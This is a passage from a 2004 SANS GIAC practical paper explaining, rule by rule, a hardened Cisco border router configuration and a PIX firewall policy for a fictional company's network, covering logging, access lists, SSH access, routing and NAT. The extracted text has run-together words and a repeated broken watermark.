particular destination. This service is generally only useful for debugging. It alsoallows attackers to spoof packets from a trusted host and have them return through apath that allows the attacker to sniff responses34. Therefore, source routing is asecurity liability.

mta receive maximum-recipients 0Specifies the maximum number of recipients for SMTP connections to a built -in faxservice supported by IOS. By setting the maximum number to 0, the service isessentially disabled.

dial-peer cor customA built-in setting related to IOS voice services. Although this router will not support

voice, the setting cannot be removed from the IOS policy.

no cdp runDisables Cisco Discovery Protocol, which reveals configuration information tosurrounding Cisco devices. This service potentially allows an unauthorized user toobtain router information without authentication by plugging another Cisco deviceinto a local network.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





2.1.D Logging Configuration

This set of policy statements configures logging for the router. Logs are particularlyuseful for monitoring the general performance of the router, and may also be used asforensic evidence in the event of an attack. All devices on GIAC’s network send log

files to the central server, which simplifies correlating logs between devices foranalysis.

no logging consoleDisables logging to the IOS console, which can be distracting when performingrouter administration. In the event an administrator wants to view logs on the consolefor troubleshooting, it can be turned on temporarily as needed.

logging buffered 4096 warningsStores up to 4096 bytes of logged events in a local buffer that can be retrieve d fromthe console. The term “warnings” refers to one of eight logging levels 35 supported byIOS. The log buffer stores useful troubleshooting information for the administrator

without cluttering the console. The “warning” level is a compromise betweenproviding information useful to the administrator without flooding the buffer.

logging trap informationalSends messages at the “informational” level (the second highest level of loggingsupported by IOS) to the logging server. This level provides copious logs for analysisand monitoring. The highest level of logging is “debugging”, which consumes a largeamount of system resources. Therefore, it is generally only turned on whentroubleshooting the router.

logging facility local5

Specifies a local syslog faci lity level

36

, which can be set by the router administrator toorganize log files.

logging source-interface FastEthernet0/1Specifies a single source interface from which log files are sent to the central server,which simplifies firewall configuration by allowing syslog traffic to be defined with asingle rule.

logging X.X.70.60Specifies the IP address of the central logging server that receives logs from therouter via the syslog protocol.

2.1.E Access-List (ACL) Configuration

This set of policy statements provides the core security functionality of the BorderRouter. An access-list (ACL) defines permitted and denied traffic through a routerinterface. The Cisco IOS allows one inbound and one outbound access-list perinterface. Due to the simplicity of GIAC’s border design only one inbound access-listis applied to each router interface.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





Rules contained within access-lists are processed by the router in order. Once apacket matches a rule in an access-list, no other rules are processed for that packet.Therefore, the order of rules is very important. To minimize processing overhead,rules with the most common packet matches should be as close to the top of the listas possible.

The most important access-list is the one applied to the external interface that facesthe Internet, as it is the first line of defense against malicious traffic from the broadestrange of sources. The policy rules in the external access-list are as follows:

ip access-list extended external_facingDefines the list as an IP access-list. (The IOS supports multiple protocols andtherefore multiple types of access-lists.) “Extended” refers to a Cisco list type thatallows permit/deny statements based upon multiple parameters such as source anddestination IP address, port number, protocol number, etc. “External-facing” is thename of the access-list.

The first set of rules in the access-list denies traffic from invalid sources. These must

be defined before valid traffic types are allowed due to the “top -down” nature ofaccess-list processing.

deny ip 0.0.0.0 0.0.0.0 any logDenies traffic with no source address to any destination. The “log” keyword logsmatching packets to the logging server for monitoring and analysis. Traffic with nosource address is generally hostile or from a misconfigured device.

deny ip 1.0.0.0 0.255.255.255 any logdeny ip 2.0.0.0 0.255.255.255 any log…(See Appendix A for the complete list of deny statements for IANAUnassigned Addresses26)…deny ip 223.0.0.0 0.255.255.255 any logThis set of rules denies traffic originating from IP addresses that have not beenallocated by the IANA26. These source addresses are not valid on the Internet, andtraffic from these addresses is therefore hostile or from misconfigured devices.

deny ip 10.0.0.0 0.255.255.255 any logdeny ip 169.254.0.0 0.0.255.255 any logdeny ip 172.16.0.0 0.15.255.255 any logdeny ip 127.0.0.0 0.255.255.255 any log

deny ip 192.168.0.0 0.0.255.255 any logDenies traffic originating from RFC 1918 19 internal addresses. Traffic from thesesources is not valid on the Internet, and arises from misconfigured devices orattempts to spoof internal networks.

deny ip 224.0.0.0 31.255.255.255 any logDenies traffic from multicast addresses. GIAC does not use multicast, so this trafficis disregarded.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





deny ip X.X.70.32 0.0.0.31 any logDenies traffic originating from GIAC’s public network. Since this access list will beapplied to the external interface of the router, traffic that hits this interface from theoutside with a source address from GIAC’s network is spoofed.

permit tcp any host X.X.70.57 eq 443 log

permit tcp any host X.X.70.58 eq 443 logNow that traffic has been denied from invalid sources, this is the first set of rulespermitting authorized traffic as per Table 2.1. These rules permit any host on theInternet to access the Development and Production Portals via SSL. This isanticipated to be the most common inbound traffic and is placed at the top of thepermitted list. Analysis of router logs may be used to tune the access-list order toincrease efficiency by ordering rules based upon traffic patterns.

permit tcp host Y.Y.24.35 host X.X.70.59 eq 443 logPermits Finance to access the Administration Portal via SSL from its static IPaddress.

permit tcp host X.X.125.48 host X.X.70.59 eq 443 logPermits the Sysadmin to access the Administration Portal via SSL from his static IPaddress.

permit tcp host X.X.125.48 host X.X.70.230 eq 22 log permit tcp host X.X.125.48 host X.X.70.34 eq 22 logThese rules provide the Sysadmin with remote access to the Primary Firewall andthe Border Router via SSH for management.

permit udp host X.X.126.126 host X.X.70.61 eq domain logPermits the external DNS server to send DNS packets to the internal DNS server.

Since the IOS is using a static packet filter, it has no concept of “state” for UDPconnections. Therefore, the external DNS server must be explicitly allowed to sendDNS packets to the internal DNS server.

permit udp any host X.X.70.34 eq isakmp logpermit ahp any host X.X.70.34 logpermit esp any host X.X.70.34 logAllows IPSEC protocols from any address to the Primary Firewall to set up VPNconnections, which are required by Sales and the Sysadmin.

permit tcp any any established logPermits hosts on the Internet to continue TCP sessions established from GIAC’s

internal network. Because the access-lists on the Border Router are not stateful,without this rule hosts on GIAC’s network would not be able to connect to the outsidebecause hosts on the Internet would not be allowed to respond.

deny ip any any logAll Cisco access-lists have an implicit statement denying any traffic that is notexplicitly allowed by the access-list. This statement is superfluous as a rule, but addsclarity when reading the policy file.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





The next access-list in the router is the one applied to the internal interface thatgoverns traffic originating from GIAC’s network to the Internet. Since this traffic is notconsidered malicious, the access-list simply allows all traffic from only GIAC’snetwork, which prevents spoofing from the inside. More specific rules for managingoutbound traffic from GIAC’s network will be maintained by the Primary Firewall.

ip access-list extended internal_facingDefines the access-list as extended with the name “internal_facing.”

permit tcp X.X.70.32 0.0.0.31 any logPermits TCP traffic originating from only GIAC’s network to any source, whichprevents spoofing from the internal network.

permit udp host X.X.70.34 eq isakmp any logpermit ahp host X.X.70.34 any logpermit esp host X.X.70.34 any logPermits the Primary Firewall to respond to external hosts to set up IPSEC VPNconnections. Because the access-list is static, explicit rules are required to allow the

firewall to respond to connection requests.

permit udp host X.X.70.61 host X.X.126.126 eq domain logPermits DNS traffic between GIAC’s internal DNS server and the external DNSserver.

permit tcp any any established logPermits internal addresses to continue TCP sessions established from the Internet.

deny ip any any logAgain, this rule is an explicit statement of the implicit deny rule shown for clarity.

The final access-list in the router is the one applied to a virtual terminal (“VTY”)interface that allows the Sysadmin to access the Cisco IOS via the SSH protocol.The policy rules in the VTY access-list are as follows:

ip access-list extended vty_accessEstablishes the name of the extended IP access-list as “vty_access.”

permit tcp host X.X.125.48 host X.X.70.230 eq 22 logPermits the Sysadmin to access the external interface of the router from his static IPvia the SSH protocol, which is required to manage the router.

deny ip any any logAgain, an explicit statement of the implicit deny rule.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





2.1.F Terminal Access Configuration

This set of policy statements defines permissible methods for the Sysadmin and theISP to access the router IOS terminal, and disables alternate methods. There arefour primary methods to access the router terminal:

• Via the console port directly attached to the router, used by ISP personnel• Via a virtual terminal, used by the Sysadmin via the SSH protocol• Via the auxiliary port on the router which allows access via a modem. It is not

used on this router, and will be disabled.• Via a web interface built into the IOS, which will be unused and therefore

disabled.

The policy rules governing terminal access to the router are as follows:

no ip http serverDisables the web interface to the terminal.

line con 0exec-timeout 15 0The first rule establishes the “line type”, which is the console port. Rules under a linedefine parameters for access to the terminal via that line. The second rule sets anidle timeout of 15 minutes and 0 seconds, which reduces the possibility of anunauthorized party continuing a session started by an authorized party who walksaway from an active session.

line aux 0no execThe first rule establishes the line type as the auxiliary port, which is disabled by the

“no exec” rule.

line vty 0 4exec-timeout 15 0transport input sshaccess-class vty_access inThe first rule establishes the line type as the VTY ports. By default the IOS definesfive vty ports, numbered 0 through 4. The second rule defines an idle timeout similarto the console port. The third rule establishes SSH as the only transport protocol,which provides encryption for VTY sessions. The last rule applies the vty_access listto the VTY lines, which restricts access to the IP address of the Sysadmin.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





2.1.G Routing Configuration

This set of policy statements defines rules for establishing routing between theInternet and GIAC’s network.

ip classless

ip subnet-zeroThe first rule allows the router administrator to use non -classful37 routes on therouter. The second rule enables the use of routes that contain the first subnet withina group of subnets. Both of these rules allow more efficient assignment of IP addressspace.

The next set of policy statements establishes static routes the router will use toforward traffic between GIAC’s network and the Internet:

ip route 0.0.0.0 0.0.0.0 X.X.70.229Establishes the default route to the gateway address of the ISP router. Traffic to anyaddress not explicitly defined by a route in the local routing table is forwarded to the

gateway address of the ISP router. This is the route by which GIAC systems accessthe internet.

ip route X.X.70.48 255.255.255.248 X.X.70.34Routes traffic destined for the X.X.70.48/29 portion of GIAC’s address space to thePrimary Firewall. This address space is used by GIAC to provide a NAT16 pool ofaddresses for Company workstations.

ip route X.X.70.56 255.255.255.248 X.X.70.34Routes traffic destined for the X.X.70.56/29 portion of GIAC’s address space to thePrimary Firewall. This address space is used by GIAC to provide static public IP

addresses for Company servers.

2.1.H Interface Configuration

The final set of policy statements configures the internal and external interfaces ofthe Border Router to route traffic. The configuration parameters of the externalinterface are as follows:

interface FastEthernet0/0description External Interface to InternetIdentifies the interface as the first built-in interface on the router and describes theinterface function.

ip address X.X.70.230 255.255.255.252Defines the IP address and subnet mask of the interface, and also adds the networkto the local routing table.

ip access-group external_facing inApplies the access-list called “external_facing” to all traffic coming in to the interfacefrom the Internet, which applies security rules defined in the access-list.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





no ip redirectsno ip unreachablesDisables ICMP redirection and unreachable responses. These responses are oftensolicited by attackers to mine unused IP addresses to spoof.

no ip proxy-arpDisables IP proxy-ARP, which can potentially be exploited for spoofing.

ip accounting access-violationsLogs access-list violations to the logging server, which aids in system analysis andmonitoring. It may also provide forensic evidence in the investigation of an attack.

speed 100full-duplex

Sets the speed and duplex mode of the Ethernet interface, which is required for layer2 connectivity.

The configuration parameters of the internal interface are then applied in the samemanner as the external interface:

interface FastEthernet0/1description Internal Interface to GIAC Networkip address X.X.70.33 255.255.255.252ip access-group internal_facing inno ip redirectsno ip unreachablesno ip proxy-arpip accounting access-violationsspeed 100full-duplex

These rules are identical to those applied to the external interface, with the exceptionof the IP address/subnet mask, and the access-list applied to the interface.

2.2 Primary Firewall Policy

As stated in Section 1.5, the functions of both the Primary Firewall and the VPNtermination point for GIAC are performed by a Cisco PIX 515E firewall. Therefore,the Primary Firewall Policy and VPN Policy are combined in the PIX configurationfile, which may be found in its entirety in Appendix B. In order to clarify the distinctionbetween the Primary Firewall policy and the VPN policy, this section describes policy

rules in Appendix B that apply primarily to the Primary Firewall function and/or definegeneral parameters for the device. Policy rules in the PIX configuration that applyprimarily to the VPN function are explained separately in Section 2.3.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





A summary of the Primary Firewall functions performed by the PIX firewall are asfollows:

1. Enforcing policy rules for permissible traffic in and out of GIAC’s network,which include:• Restricting traffic from the Internet to GIAC’s public-facing servers (the

Portals) to authorized source addresses via authorized protocols• Restricting traffic from the Portals located in the external service network

to required internal destinations via authorized protocols• Restricting traffic f rom authorized internal addresses on GIAC’s network to

authorized protocols on the Internet2. Performing stateful packet inspection for all traffic through the Primary

Firewall3. Performing NAT to translate internal non-routable16 IP addresses to publicly

routable IP addresses on the Internet

A summary of authorized traffic the Primary Firewall must allow is outlined in Table2.2. This section describes the complete Primary Firewall a policy enabled on the PIXfirewall to perform required functions while minimizing direct threats against itself. Asin Section 2.1, the order of rules in the complete policy is determined by the CiscoPIX software and is not necessarily intuitive. Policy statements in this section aregrouped by common objective rather than in strict policy order, again with theexception of access-lists.

2.2.A General Parameters

The first group of policy statements in the PIX defines general parameters for thedevice. Parameters from the complete policy are in black text, with explanations inblue.

PIX Version 6.3(3)The Pix software version on the firewall. Different PIX versions support differentcommands, and therefore the version number is an important indicator for theadministrator.

Cryptochecksum:d62a59a0d5d61516271e7deb024e9d16Shows a checksum of the configuration file. Archives of this checksum can be usedas a quick check to determine if device configuration has changed.

hostname ex-fwalldomain-name giac.com

The PIX host name and domain name (ex-fwall.giac.com), which are required togenerate encryption keys for SSH.

aAll commands for the PIX firewall in sections 2.2 and 2.3 may be found for PIX Firewall Software v6.3 in the

“Cisco PIX Firewall Command Reference” available from

http://www.cisco.com/en/US/products/sw/secursw/ps2120/products_command_reference_book09186a0080172

84e.html.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





clock timezone gmt 0The PIX time zone. Standardizing system clocks on GMT reduces confusion that canbe caused by local time differences when analyzing log files.

pager lines 24

terminal width 80The number of lines and the line width for a terminal session. These rules provideformatting only, and are not relevant to device functionality.

Traffic from the Internet into the External Service Network

Source Source IP Destination Destination IP Protocol (s) Port Purpose

Partners AnyDevelopment


BusinessRequirement

Partners AnyProduction


BusinessRequirement

Finance Y.Y.24.35Administration


BusinessRequirement

Sysadmin X.X.125.48Administration


FirewallValidation

BorderRouter

X.X.70.33 LoggingServer

X.X.70.60 Syslog UDP 514 FunctionalityRequirement

Sysadmin X.X.125.48 Firewall X.X.70.34 SSH TCP 22Firewall

ManagementSales

Sysadmin(VPN)

Any Firewall X.X.70.34IPSEC

(ISAKMP)( AH, ESP)

UDP 500Prot 50,51

VPN

Traffic from the External Service Network into the GIAC Internal Network

DevelopmentPortal

X.X.70.57Development

Database10.96.0.100 SQL TCP 5432

FunctionalityRequirement

ProductionPortal

X.X.70.58ProductionDatabase

10.96.0.101 SQL TCP 5432FunctionalityRequirement

AdministrationPortal

X.X.70.59Administration

Database10.96.0.102 SQL TCP 5432


DevelopmentPortal

X.X.70.57LoggingServer

10.96.0.103 Syslog UDP 514FunctionalityRequirement

ProductionPortal X.X.70.58 ProductionDatabase 10.96.0.103 Syslog UDP 514 FunctionalityRequirement

AdministrationPortal

X.X.70.59Administration

Database10.96.0.103 Syslog UDP 514


Traffic from the GIAC Internal Network into the External Service Network and the Internet

GIACOffice

10.128.3.0/24Development

Portal10.96.0.100 SSL TCP 443

BusinessRequirement

GIACOffice

10.128.3.0/24Production


BusinessRequirement

GIACOffice

10.128.3.0/24Administration


BusinessRequirement

Sales10.48.1.0/24

(VPN)Administration


BusinessRequirement

Sysadmin10.48.0.0/24

(VPN)Development

Portal10.0.0.0/8 SSH TCP 22

ServerManagement

Internal

DNS

10.96.0.104External

DNS

X.X.126.126 DNS UDP 53DNS

QueriesGIACOffice

10.128.3.0/24 Internet All HTTP TCP 80Business

Requirement

GIACOffice

10.128.3.0/24 Internet All SSL TCP 443Business

RequirementGIACOffice

10.128.3.0/24 Internet All FTPTCP 21(+ Data)

BusinessRequirement

Table 2.2Allowable Traffic Through the

GIAC Primary Firewall



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





no pdm history enable Disables connection history with a Cisco Pix Device Manager (PDM) console. PDMis not used to manage the firewall, so the function is disabled.

: endDelineates the end of the policy.

2.2.B Authentication/Authorization Parameters

This set of policy statements defines access permissions to the PIX terminal. ThePIX software defines the same two basic points of authorization as IOS, user modeand privileged mode. The statements below turn on advanced authentication, defineaccounts to access user mode, and establish a common enable password to accessprivileged mode.

aaa-server TACACS+ protocol tacacs+aaa-server RADIUS protocol radiusaaa-server LOCAL protocol local

These rules define three allowable sources of authentication databases: RADIUS38,TACACS+, and a local database. Since only two usernames will be required aTACACS39+ and RADIUS are unnecessary. Therefore, the local database will beused. To use TACACS+ or RADIUS a server source must be defined in the policyfile. Without this additional information, TACACS+ and RADIUS are not enabled.

aaa authentication ssh console LOCALaaa authentication serial console LOCALThese two rules specify that the local database of users authenticate console andSSH access.

enable password X4LHq4fONR62OQxV encryptedSpecifies a common enable password that is shown in the ru le in encrypted form.User mode access will be tied to an individual account name. In the event that one ofthe user mode accounts is compromised, a second password creates another barrierto unauthorized PIX configuration.

passwd 2oGNcgYflt5PuIni encryptedDelineates a local password for user mode and shows it in encrypted form. The aaaauthentication commands override this password.

username ispsupport password IvXMLRVzV6dXLrZO encrypted privilege 15username sysadmin password Ib09XrQQKGggBxcL encrypted privilege 15

Creates the usernames “sysadmin” and “ispsupport” in the local user database, andshows the passwords in encrypted form. The PIX software has 1 6 privilege levelsfrom 0 to 15. These accounts are set to the highest level of privilege.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





banner login ^CThis device is for authorized users only. Use of this deviceconstitutes consent to monitoring, retrieval, and disclosure of any informationstored or transmitted to or from this device for any purpose including criminalprosecution.^CCreates a login banner warning unauthorized users.

banner motd ^CThis device is for authorized users only. Use of this deviceconstitutes consent to monitoring, retrieval, and disclosure of any informationstored or transmitted to or from this device for any purpose including criminalprosecution.^CCreates a “message of the day” banner” warning unauthorized users. Users whoattempt to connect to the PIX via SSH bypass the login banner. Therefore, a secondbanner is added after login to assure every user sees it.

2.2.C Service Configuration

This set of policy statements shows services that are either turned on or turned offas relevant to GIAC’s configuration.

no namesDisables DNS lookups on the PIX.

no snmp-server locationno snmp-server contactno snmp-server enable trapssnmp-server community h&893A@1^1!nUyx!This set of rules disables simple network management protocol (SNMP40) on thePIX. The SNMP service is not used to manage the device. Improperly configured,SNMP can be a security liability by providing detailed system information to

unauthorized parties. The snmp-server community string has also been set to acomplex term that is difficult to brute force in the event SNMP is accidentally orintentionally enabled in the future.

fixup protocol dnsfixup protocol ftp 21fixup protocol http 80no fixup protocol h323 h225 1720no fixup protocol h323 ras 1718-1719no fixup protocol rsh 514no fixup protocol rtsp 554no fixup protocol sip 5060

no fixup protocol sip udp 5060no fixup protocol skinny 2000no fixup protocol smtp 25no fixup protocol sqlnet 1521no fixup protocol tftp 69The “fixup” service for PIX tracks application-level activity for supported protocols tomonitor the state of connections, which greatly simplifies firewall configuration. Fixupis enabled for supported protocols traversing the firewall (DNS, FTP and HTTP). Therest are disabled using the “no fixup” rule.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





no failover failover timeout 0:00:00failover poll 15no failover ip address outsideno failover ip address insideno failover ip address servicenw

This set of rules disables device failover for the PIX. While this is an extremely usefulfunction, it requires a redundant device which doubles the cost of firewall services.The company has elected not to use failover in deference to a service-levelagreement from the ISP.

ip audit info action alarmip audit attack action alarmThe PIX firewall supports a default collection of Intrusion Detection System (IDS)signatures. These rules audit traffic for these signatures, and send a message to thelogging server when they are detected.

floodguard enable

This rule enables the floodguard service, which recovers system resources byreclaiming half-open sessions in the event of a SYN flood.

arp timeout 14400timeout xlate 3:00:00timeout conn 1:00:00 half-closed 0:10:00 udp 0:02:00 rpc 0:10:00 h225 1:00:00timeout h323 0:05:00 mgcp 0:05:00 sip 0:30:00 sip_media 0:02:00timeout uauth 0:05:00 absoluteThese rules above set timeouts for idle sessions and connections for a wide varietyof protocols including ARP, TCP, UDP, h323, and NAT. Timeouts are extremelyimportant because idle connections consume system resources. The timeouts are all

set to PIX defaults.

2.2.D Logging Configuration

This set of policy statements configures logging for the PIX. Logs are particularlyuseful for monitoring the general performance of the firewall and VPN functions, andmay be used as forensic evidence in the event of an attack. As stated earlier, alldevices on GIAC’s network send log files to the central server, which simplifiescorrelating logs for analysis.

logging onTurns logging on.

no logging consoleDisables logging to the console, which can be distracting when performing systemadministration. In the event an administrator wants to view console logs fortroubleshooting, it can be turned on temporarily.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





logging buffered warningsStores logged events in a local buffer that can be retrieved from the console. Theterm “warnings” applies in the same manner as for the router configuration, which isdescribed in Section 2.1.D.

logging trap informational

Sends messages at the “informational” level to the logging server in a similar manneras for the Border Router, which is described in Section 2.1.D.

logging facility 6Specifies a local syslog facility level, which can be set by the PIX administrator toorganize log files.

logging timestampTimestamps logging entries, which helps correlate events in the logs.

logging host inside 10.96.0.103Specifies the IP address of the central logging server that receives logs from the PIX.

2.2.E Interface Configuration

This set of policy statements configures the internal, external and service networkinterfaces of the firewall. The configuration parameters of the interfaces areimportant to define before defining access-lists, because the behavior of the access-lists is affected by security parameters of each interface. A description of the policystatements relevant to the three firewall interfaces is as follows:

nameif ethernet0 outside security0nameif ethernet1 inside security100nameif ethernet2 servicenw security50This set of rules specifies the name of each interface, the PIX Ethernet interface theyuse, and most importantly, the security zone of each interface. Each interface has atrust level numbered from 0 to 100. The outside interface defaults to a trust of 0, andthe inside interface defaults to a trust of 100. The service network is set to anadministrator-defined level of 50. The trust level is critical, because the PIX allows alltraffic from a higher trust zone to a lower zone, and blocks all traffic from a lowerzone to a higher zone unless an access-list is applied. Therefore, an access list isrequired if a session must be initiated from a low zone to a higher zone and/or iftraffic needs to be restricted from a higher zone to a lower zone.

interface ethernet0 100full

interface ethernet1 100fullinterface ethernet2 100fullSets the Ethernet mode of each interface to 100 Mbps full duplex. This setting isrequired to establish layer-2 connectivity.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





mtu outside 1500mtu inside 1500mtu servicenw 1500Sets the maximum transmission unit (MTU) of each interface to the Cisco default of1500 bytes, which is the maximum allowed by IP over Ethernet41.

ip verify reverse-path interface outsideip verify reverse-path interface insideip verify reverse-path interface servicenwThis set of rules applies the ip reverse-path service to all three interfaces. Thisservice prevents spoofing by comparing the source address of a packet to the localrouting table of the firewall. Packets are blocked if the source address is inconsistentwith the routing table.

2.2.F Access-List (ACL) Configuration

This set of policy statements provides the core firewall functionality of the PIX. Anaccess-list defines permitted traffic from a lower trust zone to a higher trust zone. All

traffic from low trust to high trust is denied unless specifically allowed in an access-list. All traffic from the high trust zone to a low trust zone is allowed unless explicitlydenied. An access-list is defined for each interface of the firewall. Rules containedwithin access-lists are processed by the firewall in order. Once a packet matches arule in an access-list, no other rules are processed. As with the Cisco IOS, the orderof rules is particularly important. The access list should be configured to place themost common rules as near to the top of the list as possible in order to minimizeoverhead on the firewall. This section outlines the access -list rules for each interface.

access-list outside permit tcp any host X.X.70.57 eq httpsaccess-list outside permit tcp any host X.X.70.58 eq https

These rules permit traffic from any host on the internet to the Development andProduction Portals via SSLa. These rules are required for business functionality andrepresent the most common traffic into the GIAC network.

access-list outside permit tcp host Y.Y.24.35 host X.X.70.59 eq httpsaccess-list outside permit tcp host X.X.125.48 host X.X.70.59 eq httpsThese rules permit traffic from Finance and the Sysadmin to the Administration portalvia SSL.

access-list outside permit udp host X.X.70.33 host X.X.70.60 eq syslogPermits syslog traffic from the Border Router to the logging server, which is requiredfor centralized logging and analysis.

All other traffic originating from the Internet into GIAC’s network is implicitly denied.However, unlike IOS, the behavior of access-lists in the PIX are affected by thesecurity zone of the interface, which complicates explicit statement of the implicitdeny rule. Therefore, a final “deny ip any any” statement is not added to the PIXaccess-lists.

a “SSL” is referred to as “HTTPS” in th e PIX.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





There are two other traffic types that require access from the Internet to the firewallitself: Access from the Sysadmin to the firewall via SSH, and access from anywhereon the Internet to the firewall via IPSEC (VPN). Access to the console SSH isdefined by its own rule later in Section 2.2.I. Access to the firewall for VPN use isdescribed in section 2.3.

The policy rules for the service network interface (labeled “servicenw” in the PIXconfiguration) governing traffic from the service network to the internal network areas follows:

access-list servicenw permit tcp host 10.32.0.100 host 10.96.0.100 eq 5432access-list servicenw permit tcp host 10.32.0.101 host 10.96.0.101 eq 5432access-list servicenw permit tcp host 10.32.0.102 host 10.96.0.102 eq 5432These rules permit all three Portals to connect to their respective Database via SQL,which is required for functionality. Port 5432 is the default port for PostgreSQL.

access-list servicenw permit udp host 10.32.0.100 host 10.96.0.103 eq syslogaccess-list servicenw permit udp host 10.32.0.101 host 10.96.0.103 eq syslog

access-list servicenw permit udp host 10.32.0.102 host 10.96.0.103 eq syslogThese rules permit all three Portals to send logs to the logging server, which isrequired for network administration.

By default the internal interface is the highest trust zone, and traffic originating fromthe internal network is unrestricted to the service network and to the Internet. Anaccess-list applied to the internal interface restricts traffic from the internal interfaceto allowable protocols and destinations. The policy rules for the internal interface(labeled “inside” in the PIX configuration) governing traffic from the internal networkare as follows:

access-list inside permit tcp 10.128.3.0 255.255.255.0 host 10.32.0.100 eq httpsaccess-list inside permit tcp 10.128.3.0 255.255.255.0 host 10.32.0.101 eq httpsaccess-list inside permit tcp 10.128.3.0 255.255.255.0 host 10.32.0.102 eq httpsaccess-list inside permit tcp 10.48.1.0 255.255.255.0 host 10.32.0.102 eq httpsThe first three rules allow workstations in the Office to access all three Portals in theservice network via SSL. The final rule allows Sales to access the AdministrationPortal via internal IP addresses assigned by VPN rules as described in Section2.3.B.

access-list inside permit tcp 10.48.0.0 255.255.255.0 10.0.0.0 255.0.0.0 eq sshAllows the Sysadmin to connect via SSH to any device on the internal network fromthe internal IP address range assigned to him via VPN rules, as described in section

2.3.B. This includes SSH access to all devices in the service network.

access-list inside deny ip 10.0.0.0 255.0.0.0 10.32.0.0 255.255.255.0As stated previously, the PIX allows devices in a higher trust zone to access all portson devices in a lower trust zone. All necessary access from the internal network tothe service network has been defined in previous rules. This rule disables al l otheraccess from the internal network and the VPN into the service network.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





access-list inside permit tcp 10.0.0.0 255.0.0.0 any eq ftpaccess-list inside permit tcp 10.0.0.0 255.0.0.0 any eq wwwaccess-list inside permit tcp 10.0.0.0 255.0.0.0 any eq httpsThese rules allow machines in the Office to access all hosts on the Internet via FTP,HTTP or SSL. These protocols are all that are required to enable Office employeesto communicate with other systems on the internet.

access-list inside permit udp host 10.96.0.104 host X.X.126.126 eq domainPermits the internal DNS server to query the external DNS server.

access-list inside deny ip 10.0.0.0 255.0.0.0 anyDenies all other traffic originating from the internal network to the Internet.

Now that access-lists for each interface have been created, they are applied to theirrespective interfaces by the following policy rules:

access-group outside in interface outsideaccess-group inside in interface inside

access-group servicenw in interface servicenw

2.2.G Routing Configuration

This set of policy statements defines the routing the firewall performs between theInternet and the internal network. Routing policy rules are as follows:

ip address outside X.X.70.34 255.255.255.252ip address inside 10.32.0.1 255.255.255.0ip address servicenw 10.64.0.1 255.255.255.0These rules define the IP address and subnet of each interface, which also adds

their connected networks to the local routing table.

route outside 0.0.0.0 0.0.0.0 X.X.70.33 1route inside 10.0.0.0 255.0.0.0 10.64.0.2 1The first rule sets the default route to the Internet as the Border Router. The secondrule establishes the default route to the internal network as the Internal Firewall.

2.2.H NAT Configuration

This set of policy rules defines the configuration for NAT, which consists of two parts:

• Servers requiring public IP addresses are mapped to an external static

address• A global pool of public IP addresses to share among the Office workstations is

configured, and the Office network is mapped to the global pool



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





The following set of rules map static public IP addresses to required internal servers:

static (servicenw,outside) X.X.70.57 10.32.0.100 netmask 255.255.255.255 0 0static (servicenw,outside) X.X.70.58 10.32.0.101 netmask 255.255.255.255 0 0static (servicenw,outside) X.X.70.59 10.32.0.102 netmask 255.255.255.255 0 0static (inside,outside) X.X.70.60 10.96.0.103 netmask 255.255.255.255 0 0

static (inside,outside) X.X.70.61 10.96.0.104 netmask 255.255.255.255 0 0

A global pool of public addresses for the Office network to share is defined by thefollowing rule:

global (outside) 1 X.X.70.49-X.X.70.54 netmask 255.255.255.248

The Office network is now mapped to the global pool with the following rule:

nat (inside) 1 10.128.3.0 255.255.255.0 0 0

2.2.I Terminal Access Configuration

The final set of policy rules defines terminal access to the console.

telnet timeout 15ssh timeout 15console timeout 15These rules set timeouts for idle terminal sessions to 15 minutes for co nnections viatelnet, SSH or the console. Console access is allowable without additional rules.However, telnet and SSH are not active until an additional rule specifies a range ofsource addresses and the interface from which those sources may connect.Because telnet sends names and passwords across a network in clear text, it will not

be used. SSH will be enabled by setting an access rule.

Access for the Sysadmin via SSH to the terminal is made available through thefollowing rule:

ssh X.X.125.48 255.255.255.255 outsideSpecifies that SSH access to the console is available from the Sysadmin’s addressvia the outside interface.

2.3 VPN Policy

The VPN policy may be found within the PIX configuration in Appendix B. The

primary function of the VPN policy is to provide the Sysadmin and Sales personnelwith access to the internal network. Sales personnel are subsequently allowed toaccess the Administration Portal via SSL, and the Sysadmin is subsequently allowedto access all devices via SSH. Once again, policy statements are grouped bycommon objective rather than described in PIX order, except for the application ofaccess-lists.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





2.3.A IPSEC Configuration

The Company has elected to use IPSEC as the tunneling protocol of choice toestablish VPN connections to the internal network. IPSEC consists of a collection ofRFC standards that establish a tunnel in two phases:

1. A security context for the VPN tunnel is established via the Internet SecurityAssociation and Key Management Protocol (ISAKMP42).

2. Encryption is established via the Encapsulated Security Payload (ESP43)protocol.

The policy rules below establish parameters for negotiating a security association viaISAKMP.

